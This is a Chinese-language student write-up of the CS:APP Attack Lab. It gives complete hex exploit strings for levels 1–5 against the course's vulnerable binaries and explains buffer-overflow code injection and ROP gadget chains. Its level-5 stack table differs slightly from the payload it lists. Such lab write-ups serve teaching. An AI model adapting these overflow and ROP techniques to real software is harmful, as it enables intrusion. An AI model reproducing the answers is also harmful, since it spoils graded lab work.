屏幕截圖
考察內容
本次lab主要考察對棧幀的掌握程度以及對Ctrl+F的掌握程度。
各題答案
level1
00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
c0 17 40 00
level2
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55
level3
48 c7 c7 ac dc 61 55 68
fa 18 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55 00 00 00 00
00 00 00 00 35 39 62 39
39 37 66 61 00 00 00 00
level4
00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
level5
00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
解題思路
level1
任務
利用緩沖區溢出使getbuf函數結束后返回touch1。
思路
將可執行文件ctarget反匯編后,查看getbuf部分的指令:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
從語句4017a8可以看出,getbuf函數預留的緩沖區長度為40byte。根據棧幀結構,只需要先用40byte的無意義數據覆蓋緩沖區,再輸入touch1函數的首地址就完成了。同時這個attack是免疫棧隨機化和棧不可運行的。
查看touch1的首地址為0x4017c0,根據小端法,只需要在無意義數據的后面添上c0 17 40即可。
level2
任務
利用緩沖區溢出使getbuf結束后返回touch2,同時寄存器rdi的值被修改為0x59b997fa。
思路
因為需要利用緩沖區溢出修改寄存器的值,因此聯想到將指令寫入棧中並在棧上運行。
新建文件1.s,在其中寫入以下內容:
movq $0x59b997fa,%rdi //將rdi里的值修改為cookie
pushq $0x4017ec //將touch2的首地址壓入棧中
ret
在終端中執行指令gcc -c 1.s,將匯編語言編譯為二進制文件,然后再通過objdump指令反匯編,得出匯編指令的機器語言:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
將機器語言代碼加入exploit.txt中,用gdb調試查看getbuf開辟緩沖區后rsp的值為0x5561dc78,因此在覆蓋數據后加入78 dc 61 55即可。
level3
任務
利用緩沖區溢出使getbuf結束后返回touch3,同時使寄存器rdi指向"59b997fa"字符串的首地址。
思路
首先的思路是將level2的機器代碼稍微改一下:將字符串的ASCII碼放在緩沖區中,機器語言代碼中將寄存器rdi的值改為棧中字符串的首地址,然后將touch3的首地址壓入棧中。
嘗試之后發現返回結果不是PASS而是misfire。調用gdb查看rip指向touch3時原getbuf緩沖區的值,發現由於getbuf緩沖區長度過小,導致調用touch3后由於退棧導致rsp覆蓋了原本放置字符串的區域。因此將cookie放在緩沖區中是不可行的。
后來想到既然由於函數跳轉,getbuf的棧幀不可用,那么可以將字符串放在相較getbuf棧幀更接近底層的地方,也就是放在返回地址的后面。這樣更加不容易被覆蓋。
level4
任務
在開啟棧隨機化和棧不可執行的條件下,利用緩沖區溢出和ROP注入完成level2的任務。
思路
由於棧不可執行,level2中直接在棧上執行代碼的方法失效了。PPT提示使用ROP注入的方式。意思是在rtarget的farm部分中有一大堆奇怪的函數,這些函數代碼編譯后的二進制形式的某一部分可以被理解為匯編指令。因此可以將getbuf的返回地址重定向到該部分開頭處,就可以間接達成任務要求。
然而並沒有發現在farm中有類似movq $0x59b997fa,%rdi這樣的語句。再加上ROP table.pdf中給出的只有從寄存器到寄存器、從棧到寄存器的操作。因此想到可以先將0x59b997fa存放在棧中,然后利用farm里的popq操作將cookie間接賦給rdi。
利用Ctrl+F在反匯編后的rtarget文件的farm部分中查找和popq有關的關鍵字,發現只有在<addval_219>中含有和popq有關的關鍵字,且之后內容為代表空的"90"。
00000000004019a7 <addval_219>:
//下行“58”開頭的代碼等價於"popq %rax"
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3
然而該level要求的是將寄存器rdi的值賦為cookie,而非rax。因此考慮利用movq操作將rax的值賦給rdi。猜想代表"movq %rax,%rdi"的"48 89 c7",最后在<setval_426>中找到了它。
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
因此只要將各個模塊組裝起來就好了。最后的棧幀結構大致是這樣的:
地址 | 代碼大意 |
---|---|
x-24~x-4 | 覆蓋緩沖區數據 |
x | 跳轉至<addval_219>,執行popq |
x+4 | 空 |
x+8 | 存放cookie |
x+12 | 空 |
x+16 | 跳轉至<setval_426>,執行movl |
x+20 | 空 |
x+24 | 跳轉至touch2 |
兩個ROP之間的byte留空的原因是每次函數返回后,執行popq指令,rsp-8,如果不留空的話會導致數據被覆蓋。
具體代碼見各題答案。
level5
任務
在開啟棧隨機化和棧不可執行的條件下,利用緩沖區溢出和ROP注入完成level3的任務。
(據說是非常非常難的,可我覺得就是一個gadget收集大賽……)
思路
有了level4作鋪墊,那level5的解題思路也就不難想到了。
於是開始收集各種(可能)有用的gadget(體會到了Ctrl+F真的是神器啊……):
作用 | 地址 |
---|---|
popq %rax | 0x4019ab |
movq %rax,%rdi | 0x4019c5 |
movq %rsp,%rax | 0x401a06,0x401aad |
movl %eax,%edx | 0x4019dd |
movl %eax,%edi | 0x4019c6 |
movl %ecx,%esi | 0x401a13,0x401a27 |
movl %edx,%ecx | 0x401a69,0x401a34 |
movl %esp,%eax | 0x401a3c,0x401a86,0x401aae,0x401a07 |
rax=rdi+rsi | 0x4019d6 |
最后一個尤其特殊。它不是某個函數的一部分,而是整個函數的作用就是將rax的值修改為rdi+rsi。由於PPT中提到某些gadget的畫風可能和其他gadget不太一樣,因此猜想這個gadget是解決level5的關鍵。
考慮如何解決level5。容易想到和level3一樣把字符串放在棧中。只是因為開啟了棧隨機化,沒有辦法把一個絕對地址通過直接或間接的方法賦給rdi,因為這個字符串的首地址每次運行rtarget時都會改變。因此考慮相對地址,也就是計算出rsp和字符串首地址的距離,將兩者相加賦給rdi。因此add_xy派上了用場。
設相對距離為x,那么最終目的是rdi=rsp+x。目前我們擁有的函數是rax=rdi+rsi,因此需要通過某種途徑將rsp賦給rdi,將x賦給rsi,最后將計算結果rax賦給rdi。通過gadget我們可以輕松地畫出兩條傳遞鏈:
rsp-->rax-->rdi
pushq x-->rax(eax)-->edx-->ecx-->esi(rsi)
因此整個解題邏輯就十分清楚了。
棧幀結構:
地址 | 代碼大意 |
---|---|
x~x+20 | 覆蓋數據 |
x+24 | movq %rsp,%rax |
x+32 | movq %rax,%rdi |
x+40 | 偏移量(本題中為0x48) |
x+48 | popq %rax |
x+56 | movl %eax,%edx |
x+64 | movl %edx,%ecx |
x+72 | movl %ecx,%esi |
x+80 | add_xy |
x+88 | movq %rax,%rdi |
x+96 | 返回touch3 |
按照棧幀結構填入對應地址或值即可。
Reference
- AttackLab.pptx
- 深入理解計算機系統attack lab